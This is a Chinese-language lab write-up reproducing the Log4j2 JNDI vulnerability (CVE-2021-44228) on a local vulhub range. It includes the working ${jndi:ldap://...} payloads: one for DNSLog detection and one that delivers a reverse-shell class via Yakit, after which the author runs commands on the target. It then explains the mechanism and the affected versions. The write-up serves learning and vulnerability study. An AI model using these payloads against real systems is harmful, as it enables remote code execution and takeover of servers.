一,靶场搭建
在家庭局域网的另一条Ubuntu24笔记本中,使用vulhub靶场搭建,首先下载vulhub,解压并进入目录/vulhub/log4j/CVE-2021-44228中,执行docker启动命令
docker compose up -d
宝塔查看靶场信息
接下来我们直接访问靶机ip的
8993
端口即可看到靶场
二,漏洞验证
首先使用 Yakit的DNSLog 平台获取一个子域名
这里获取到的子域名为:
ykbdqepxgy.dgrh3.cn
使用该子域名,我们构造 payload:
${jndi:ldap://ykbdqepxgy.dgrh3.cn}
在目标网站,找到注入点
点击Add Core后,Logging会增加error日志,从而触发漏洞。
DNSLog出现反连,漏洞验证成功,这里存在log4j2 远程代码执行漏洞
三,漏洞利用
在Yakit中,开启端口监听器,输入本机IP,和监听端口,这里设为4445,点击启动监听
便于后续连接反射shell
再打开一个反连服务器,设置本机IP,默认端口即可,设置payload,为恶意类,
TcpReverseShell
,反连主机和反连端口和刚才设置的监听器,保持一致。
复制上面的
ldap://192.168.0.104:4444/TqduOHDq
构造新的payload
${jndi:ldap://192.168.0.104:4444/TqduOHDq}
返回网站的注入点,重复验证的步骤,注入payload
提交后,点击左侧的Logging显示报错日志,注入成功
返回Yakit的反连服务器,可以观察到反连信息
返回端口监听器,连接成功
这里注意要把 原始模式 取消,不然传入的命令无法正常执行,可能是一个小BUG,执行ls命令成功
漏洞复现成功
四,原理分析
这个漏洞的核心是Java Naming and Directory Interface(JNDI)注入攻击,Log4j2在处理日志消息时,会自动解析其中的特定格式字符串,包括
${}
中的表达式。例如,
${env:VAR}
可以用来输出环境变量
VAR
的值。这种功能本身是为了方便开发人员获取动态内容。
然而,Log4j2也支持通过JNDI从远程服务器获取数据。这意味着,如果日志消息中包含类似
${jndi:ldap://example.com/a}
的字符串,Log4j2会尝试通过JNDI从
ldap://example.com/a
获取数据。
由于JNDI查找可以通过多种协议(如LDAP、RMI、DNS等)访问远程服务器,这个漏洞允许攻击者通过在日志消息中嵌入恶意的JNDI查找字符串,远程执行任意代码(RCE),从而完全控制受影响的系统。
从网上找了个图
五,影响版本
受影响版本范围:2.0 ≤ Apache Log4j2 < 2.15.0-rc2
此外对于java版本的要求
如果想要自己在本地通过java代码复现漏洞一定要注意java版本,在这里踩了几天的坑。
版权归原作者 李应然 所有, 如有侵权,请联系我们删除。